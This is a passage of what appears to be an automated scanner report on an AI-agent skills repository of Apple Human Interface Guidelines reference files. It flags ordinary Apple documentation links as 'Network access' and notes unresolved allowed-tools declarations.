    * [Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views)
  • Network accessline 36
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Best-practices)
  • Network accessline 51
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Resources)
  • Network accessline 53
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Related)
  • Network accessline 55
    [Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps)
  • Network accessline 57
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Developer-documentation)
  • Network accessline 59
    [iOS Pathway](https://developer.apple.com/ios/get-started/)
  • Network accessline 61
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Videos)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 65
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2

skills/hig-platforms/references/designing-for-ipados.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for iPadOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados
  • Network accessline 9
    ![A stylized representation of an iPad frame shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-assets.d
  • Network accessline 17
    **Inputs.** People can interact with iPad using Multi-Touch [gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) and [virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-key
  • Network accessline 23
    * [Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking)
  • Network accessline 25
    * [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets)
  • Network accessline 27
    * [Drag and drop](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop)
  • Network accessline 32
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Best-practices)
  • Network accessline 47
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Resources)
  • Network accessline 49
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Related)
  • Network accessline 51
    [Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps)
  • Network accessline 53
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Developer-documentation)
  • Network accessline 55
    [iPadOS Pathway](https://developer.apple.com/ipados/get-started/)
  • Network accessline 57
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Videos)
  • Network accessline 59
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 63
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2

skills/hig-platforms/references/designing-for-macos.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for macOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-macos
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-macos
  • Network accessline 9
    ![A stylized representation of a Mac shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-assets.developer
  • Network accessline 17
    **Inputs.** People expect to enter data and control the interface using any combination of input modes, such as physical [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards), [Pointing devices](https://develo
  • Network accessline 23
    * [The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar)
  • Network accessline 25
    * [File management](https://developer.apple.com/design/human-interface-guidelines/file-management)
  • Network accessline 27
    * [Going full screen](https://developer.apple.com/design/human-interface-guidelines/going-full-screen)
  • Network accessline 29
    * [Dock menus](https://developer.apple.com/design/human-interface-guidelines/dock-menus)
  • Network accessline 34
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Best-practices)
  • Network accessline 53
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Resources)
  • Network accessline 55
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Related)
  • Network accessline 57
    [Apple Design Resources](https://developer.apple.com/design/resources/#macos-apps)
  • Network accessline 59
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Developer-documentation)
  • Network accessline 61
    [macOS Pathway](https://developer.apple.com/macos/get-started/)
  • Network accessline 63
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Videos)
  • Network accessline 65
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 67
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 69
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/754D8BF7-206F-4342-8705-7B836D449D9C/10015_wide_250x141_1x.jpg) Build an AppKit app with the new design ](https://developer.apple.com/videos/play

skills/hig-platforms/references/designing-for-tvos.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for tvOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos
  • Network accessline 9
    ![A stylized representation of a TV screen shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-assets.dev
  • Network accessline 17
    **Inputs.** People can use a [remote](https://developer.apple.com/design/human-interface-guidelines/remotes), a [game controller](https://developer.apple.com/design/human-interface-guidelines/game-controls), their [voice](https://developer.
  • Network accessline 23
    * [Integrating with the TV app](https://developer.apple.com/design/human-interface-guidelines/playing-video#Integrating-with-the-TV-app)
  • Network accessline 25
    * [SharePlay](https://developer.apple.com/design/human-interface-guidelines/shareplay)
  • Network accessline 27
    * [Top Shelf](https://developer.apple.com/design/human-interface-guidelines/top-shelf)
  • Network accessline 29
    * [TV provider accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#TV-provider-accounts)
  • Network accessline 34
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Best-practices)
  • Network accessline 49
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Resources)
  • Network accessline 51
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Related)
  • Network accessline 53
    [Apple Design Resources](https://developer.apple.com/design/resources/#tvos-apps)
  • Network accessline 55
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Developer-documentation)
  • Network accessline 57
    [tvOS Pathway](https://developer.apple.com/tvos/get-started/)
  • Network accessline 59
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Videos)
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/B17CF999-313D-4C0D-A791-D2A5DD5F9242/3789_wide_250x141_1x.jpg) Build SwiftUI apps for tvOS ](https://developer.apple.com/videos/play/wwdc2020/10042)
  • Network accessline 63
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Change-log)

skills/hig-platforms/references/designing-for-visionos.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for visionOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos
  • Network accessline 9
    ![A stylized representation of Apple Vision Pro shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-asset
  • Network accessline 13
    **Space.** Apple Vision Pro offers a limitless canvas where people can view virtual content like [windows](https://developer.apple.com/design/human-interface-guidelines/windows), [volumes](https://developer.apple.com/design/human-interface-
  • Network accessline 15
    **Immersion.** In a visionOS app, people can fluidly transition between different levels of [immersion](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences). By default, an app launches in the _Shared Space_ 
  • Network accessline 17
    **Passthrough.** [Passthrough](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Immersion-and-passthrough) provides live video from the device’s external cameras, and helps people interact with virtual con
  • Network accessline 19
    **Spatial Audio.** Apple Vision Pro combines acoustic and visual-sensing technologies to model the sonic characteristics of a person’s surroundings, automatically making audio sound natural in their space. When an app receives a person’s pe
  • Network accessline 21
    **Eyes and hands.** In general, people perform most actions by using their [eyes](https://developer.apple.com/design/human-interface-guidelines/eyes) to look at a virtual object and making an _indirect_ [gesture](https://developer.apple.com
  • Network accessline 25
    **Accessibility.** Apple Vision Pro supports [accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) technologies like VoiceOver, Switch Control, Dwell Control, Guided Access, Head Pointer, and many more
  • Network accessline 29
    When building your app for Apple Vision Pro, be sure to consider the unique characteristics of the device and its spatial computing environment, and pay special attention to your user’s safety; for more details about these characteristics, 
  • Network accessline 31
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Best-practices)
  • Network accessline 39
    **Use windows for contained, UI-centric experiences.** To help people perform standard tasks, prefer standard [windows](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS) that appear as planes in space and conta
  • Network accessline 43
    * Display content within a person’s [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-view), positioning it relative to their head. Avoid placing content in places where people have to tur
  • Network accessline 45
    * Avoid displaying [motion](https://developer.apple.com/design/human-interface-guidelines/motion#visionOS) that’s overwhelming, jarring, too fast, or missing a stationary frame of reference.
  • Network accessline 47
    * Support [indirect gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#visionOS) that let people interact with apps while their hands rest in their lap or at their sides.
  • Network accessline 51
    * Avoid encouraging people to move too much while they’re in a fully [immersive experience](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences).
  • Network accessline 56
    **Help people share activities with others.** When you use [SharePlay](https://developer.apple.com/design/human-interface-guidelines/shareplay#visionOS) to support shared activities, people can view the _spatial Personas_ of other participa
  • Network accessline 58
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Resources)
  • Network accessline 60
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Related)
  • Network accessline 62
    [Apple Design Resources](https://developer.apple.com/design/resources/#visionos-apps)
  • Network accessline 64
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Developer-documentation)
  • Network accessline 66
    [visionOS Pathway](https://developer.apple.com/visionos/get-started/)
  • Network accessline 68
    [Creating your first visionOS app](https://developer.apple.com/documentation/visionOS/creating-your-first-visionos-app)
  • Network accessline 70
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Videos)
  • Network accessline 72
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/B2E0763D-C5D2-4191-AC0B-F99D56BE781F/9208_wide_250x141_1x.jpg) Design interactive experiences for visionOS ](https://developer.apple.com/videos/p
  • Network accessline 74
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/A207EE2A-D9E6-4FAB-A557-ABEAA68840AB/9197_wide_250x141_1x.jpg) Design great visionOS apps ](https://developer.apple.com/videos/play/wwdc2024/1008
  • Network accessline 76
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/15489B11-8744-483D-AD38-EF78D8962FF4/8126_wide_250x141_1x.jpg) Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10
  • Network accessline 78
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Change-log)

skills/hig-platforms/references/designing-for-watchos.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Designing for watchOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos
  • Network accessline 9
    ![A stylized representation of an Apple Watch frame shown on top of a grid. The image is overlaid with rectangular and circular grid lines and is tinted green to subtly reflect the green in the original six-color Apple logo.](https://docs-a
  • Network accessline 17
    **Inputs.** People can navigate vertically or inspect data by turning the [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown), which offers consistent control on the watch face, the Home Screen, and 
  • Network accessline 23
    * [Complications](https://developer.apple.com/design/human-interface-guidelines/complications)
  • Network accessline 25
    * [Notifications](https://developer.apple.com/design/human-interface-guidelines/notifications)
  • Network accessline 27
    * [Always On](https://developer.apple.com/design/human-interface-guidelines/always-on)
  • Network accessline 29
    * [Watch faces](https://developer.apple.com/design/human-interface-guidelines/watch-faces)
  • Network accessline 34
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Best-practices)
  • Network accessline 40
    * Minimize the depth of hierarchy in your app’s navigation, and use the [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown) to provide vertical navigation for scrolling or switching between screens.
  • Network accessline 44
    * Use [complications](https://developer.apple.com/design/human-interface-guidelines/complications) to provide relevant, potentially dynamic data and graphics right on the watch face where people can view them on every wrist raise and tap th
  • Network accessline 46
    * Use [notifications](https://developer.apple.com/design/human-interface-guidelines/notifications) to deliver timely, high-value information and let people perform important actions without opening your app.
  • Network accessline 48
    * Use background content such as [color](https://developer.apple.com/design/human-interface-guidelines/color) to convey useful supporting information, and use [materials](https://developer.apple.com/design/human-interface-guidelines/materia
  • Network accessline 55
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Resources)
  • Network accessline 57
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Related)
  • Network accessline 59
    [Apple Design Resources](https://developer.apple.com/design/resources/#watchos-apps)
  • Network accessline 61
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Developer-documentation)
  • Network accessline 63
    [watchOS Pathway](https://developer.apple.com/watchos/get-started/)
  • Network accessline 65
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Videos)
  • Network accessline 67
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/29B2363D-8DFB-4A25-A3DB-A804582858FD/9956_wide_250x141_1x.jpg) What’s new in watchOS 26 ](https://developer.apple.com/videos/play/wwdc2025/334)
  • Network accessline 69
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Change-log)

skills/hig-project-context/SKILL.md

  • Network accessline 135
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-technologies/SKILL.md

  • Network accessline 133
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-technologies/references/airplay.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "AirPlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/airplay
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/airplay
  • Network accessline 9
    ![A sketch of the AirPlay icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/593648369f
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/airplay#Best-practices)
  • Network accessline 13
    **Prefer the system-provided media player.** The built-in media player offers a standard set of controls and supports features like chapter navigation, subtitles, closed captioning, and AirPlay streaming. It’s also easy to implement, provid
  • Network accessline 15
    ![A screenshot of the system-provided media player paused while playing a video.](https://docs-assets.developer.apple.com/published/f6ea036a0e6db3780504adc3c8afece4/airplay-video-screen%402x.png)
  • Network accessline 17
    **Provide content in the highest possible resolution.** Your [HTTP Live Streaming](https://developer.apple.com/documentation/http-live-streaming) (HLS) playlist needs to include the full range of available resolutions so that people can exp
  • Network accessline 19
    **Stream only the content people expect.** Avoid streaming content like background loops and short video experiences that make sense only within the context of the app itself. For developer guidance, see [`usesExternalPlaybackWhileExternalS
  • Network accessline 23
    **Support remote control events.** When you do, people can choose actions like play, pause, and fast forward on the lock screen, and through interaction with Siri or HomePod. For developer guidance, see [Remote command center events](https:
  • Network accessline 27
    **Don’t interrupt another app’s playback unless your app is starting to play immersive content.** For example, if your app plays a video when it launches or auto-plays inline videos, play this content on only the local device, while allowin
  • Network accessline 33
    ## [Using AirPlay icons](https://developer.apple.com/design/human-interface-guidelines/airplay#Using-AirPlay-icons)
  • Network accessline 35
    You can download AirPlay icons in [Resources](https://developer.apple.com/design/resources/). You have the following options for displaying the AirPlay icon in your app.
  • Network accessline 37
    ### [Black AirPlay icon](https://developer.apple.com/design/human-interface-guidelines/airplay#Black-AirPlay-icon)
  • Network accessline 41
    ![Two black AirPlay icons. The left one is the audio AirPlay icon, represented by a triangle below three concentric lines. The right one is the video AirPlay icon, represented by a triangle below a rounded rectangle.](https://docs-assets.de
  • Network accessline 43
    ### [White AirPlay icon](https://developer.apple.com/design/human-interface-guidelines/airplay#White-AirPlay-icon)
  • Network accessline 47
    ![Two white AirPlay icons. The left one is the audio AirPlay icon, represented by a triangle below three concentric lines. The right one is the video AirPlay icon, represented by a triangle below a rounded rectangle.](https://docs-assets.de
  • Network accessline 49
    ### [Custom color AirPlay icon](https://developer.apple.com/design/human-interface-guidelines/airplay#Custom-color-AirPlay-icon)
  • Network accessline 53
    ![Two blue AirPlay icons. The left one is the audio AirPlay icon, represented by a triangle below three concentric lines. The right one is the video AirPlay icon, represented by a triangle below a rounded rectangle.](https://docs-assets.dev
  • Network accessline 63
    ## [Referring to AirPlay](https://developer.apple.com/design/human-interface-guidelines/airplay#Referring-to-AirPlay)
  • Network accessline 69
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use AirPlay to listen on your speaker
  • Network accessline 70
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use AirPlay to listen on your speaker   ![An X in a circle to indicate i
  • Network accessline 71
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use AirPlay to listen on your speaker
  • Network accessline 72
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| AirPlay to your speaker
  • Network accessline 73
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| You can AirPlay with [App Name]
  • Network accessline 77
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [App Name] is compatible with AirPlay
  • Network accessline 78
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [App Name] is compatible with AirPlay   ![A checkmark in a circle to ind
  • Network accessline 79
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [App Name] is compatible with AirPlay
  • Network accessline 80
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| AirPlay-enabled speaker
  • Network accessline 81
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| You can use AirPlay with [App Name]
  • Network accessline 82
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| [App Name] has AirPlay
  • Network accessline 86
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Compatible with Apple AirPlay
  • Network accessline 88
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Compatible with Apple AirPlay
  • Network accessline 92
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [App Name] now supports AirPlay
  • Network accessline 94
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [App Name] now supports AirPlay
  • Network accessline 96
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/airplay#Platform-considerations)
  • Network accessline 100
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/airplay#Resources)
  • Network accessline 102
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/airplay#Related)
  • Network accessline 104
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 106
    [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html)
  • Network accessline 108
    [Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html)
  • Network accessline 110
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/airplay#Developer-documentation)
  • Network accessline 112
    [AVFoundation](https://developer.apple.com/documentation/AVFoundation)
  • Network accessline 114
    [AVKit](https://developer.apple.com/documentation/AVKit)
  • Network accessline 116
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/airplay#Videos)
  • Network accessline 118
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/8FCAD355-E1A3-4407-9261-95A3D6026DE8/2661_wide_250x141_1x.jpg) Reaching the Big Screen with AirPlay 2 ](https://developer.apple.com/videos/play/wwdc2019/501)
  • Network accessline 120
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/airplay#Change-log)

skills/hig-technologies/references/always-on.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Always On | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/always-on
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/always-on
  • Network accessline 9
    ![A sketch of an Apple Watch containing a person running, suggesting an Always On display. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](h
  • Network accessline 13
    * On iPhone 14 Pro and iPhone 14 Pro Max, the system displays Lock Screen items like [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) and [Live Activities](https://developer.apple.com/design/human-interface-g
  • Network accessline 22
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/always-on#Best-practices)
  • Network accessline 24
    **Hide sensitive information.** It’s crucial to redact personal information that people wouldn’t want casual observers to view, like bank balances or health data. You also need to hide personal information that might be visible in a notific
  • Network accessline 34
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/always-on#Platform-considerations)
  • Network accessline 38
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/always-on#Resources)
  • Network accessline 40
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/always-on#Related)
  • Network accessline 42
    [Designing for watchOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos)
  • Network accessline 44
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/always-on#Developer-documentation)
  • Network accessline 46
    [Designing your app for the Always On state](https://developer.apple.com/documentation/watchOS-Apps/designing-your-app-for-the-always-on-state) — watchOS apps
  • Network accessline 48
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/always-on#Videos)
  • Network accessline 50
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/8D3FA0CE-F9A3-4CD8-82D2-375A2BA54AF1/4843_wide_250x141_1x.jpg) What's new in watchOS 8 ](https://developer.apple.com/videos/play/wwdc2021/10002)
  • Network accessline 52
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/30D3C2CB-B24D-467A-9B20-A369641E966F/4850_wide_250x141_1x.jpg) Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009)
  • Network accessline 54
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/934A2652-91C0-41AD-A35E-BC4E2ABC6F71/4884_wide_250x141_1x.jpg) What's new in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10018)
  • Network accessline 56
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/always-on#Change-log)

skills/hig-technologies/references/apple-pay.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Apple Pay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/apple-pay
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/apple-pay
  • Network accessline 9
    ![A sketch of a dollar sign, suggesting Apple Pay. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/p
  • Network accessline 15
    It’s important to understand the difference between Apple Pay and [In-app purchase](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase). Use Apple Pay in your app to sell physical goods like groceries, clothing, a
  • Network accessline 17
    Apps and websites that accept Apple Pay display it as an available payment option, and include an Apple Pay button in the purchasing flow that people tap to bring up a payment sheet. During checkout, the payment sheet can show the credit or
  • Network accessline 19
    All websites that offer Apple Pay must include a privacy statement and adhere to the [Acceptable use guidelines for Apple Pay on the web](https://developer.apple.com/apple-pay/acceptable-use-guidelines-for-websites/). For developer guidance
  • Network accessline 21
    ![A screenshot of a payment sheet that displays details about a purchase, including bank information, shipping address, and the total amount.](https://docs-assets.developer.apple.com/published/5d04903da870750a01127a7674d93e3c/apple-pay-shee
  • Network accessline 25
    ![An illustration of a MacBook Pro on the left and an iPhone on the right. The MacBook Pro displays a Safari window that shows an online store with Apple Pay buttons for checking out and adding to a bag. The iPhone displays an Apple Pay pay
  • Network accessline 27
    ## [Offering Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Offering-Apple-Pay)
  • Network accessline 29
    **Offer Apple Pay on all devices and browsers that support it.** If the device doesn’t support Apple Pay, don’t present Apple Pay as a payment option. Use Apple Pay APIs to evaluate when a device can support Apple Pay. For developer guidanc
  • Network accessline 31
    **If you use Apple Pay APIs to find out whether someone has an active card in Wallet, you must make Apple Pay the primary — but not necessarily sole — payment option everywhere you use the APIs.** For example, you might pre-select Apple Pay
  • Network accessline 39
    ![An illustration that shows the correct arrangement of the Apple Pay logo above a custom button titled 'Order Now'.](https://docs-assets.developer.apple.com/published/b19a9822ebe73af2ed72bfbdd28ea560/custom-button-yes%402x.png)
  • Network accessline 41
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 43
    ![An illustration that shows the incorrect arrangement of the Apple Pay logo above a custom button titled 'Apple Pay'.](https://docs-assets.developer.apple.com/published/5e2e1ab926f9963755c0547a3621b125/custom-button-no%402x.png)
  • Network accessline 45
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 55
    For app developer guidance, see [Apple Pay](https://developer.apple.com/documentation/PassKit/apple-pay). For website developer guidance, including how to determine whether Apple Pay on the web is available, see [Apple Pay on the Web](https
  • Network accessline 57
    ## [Streamlining checkout](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Streamlining-checkout)
  • Network accessline 73
    **For in-store pickup, help people choose a pickup location before displaying the payment sheet.** After a customer chooses the pickup location they want, use the read-only format to display the location’s address on the payment sheet. For 
  • Network accessline 79
    ![An illustration of an order confirmation screen on iPhone. The screen contains a button for creating an account and a button for signing up with Apple Pay.](https://docs-assets.developer.apple.com/published/0c5bcc6893b93e48a9d28c2c91dadb3
  • Network accessline 85
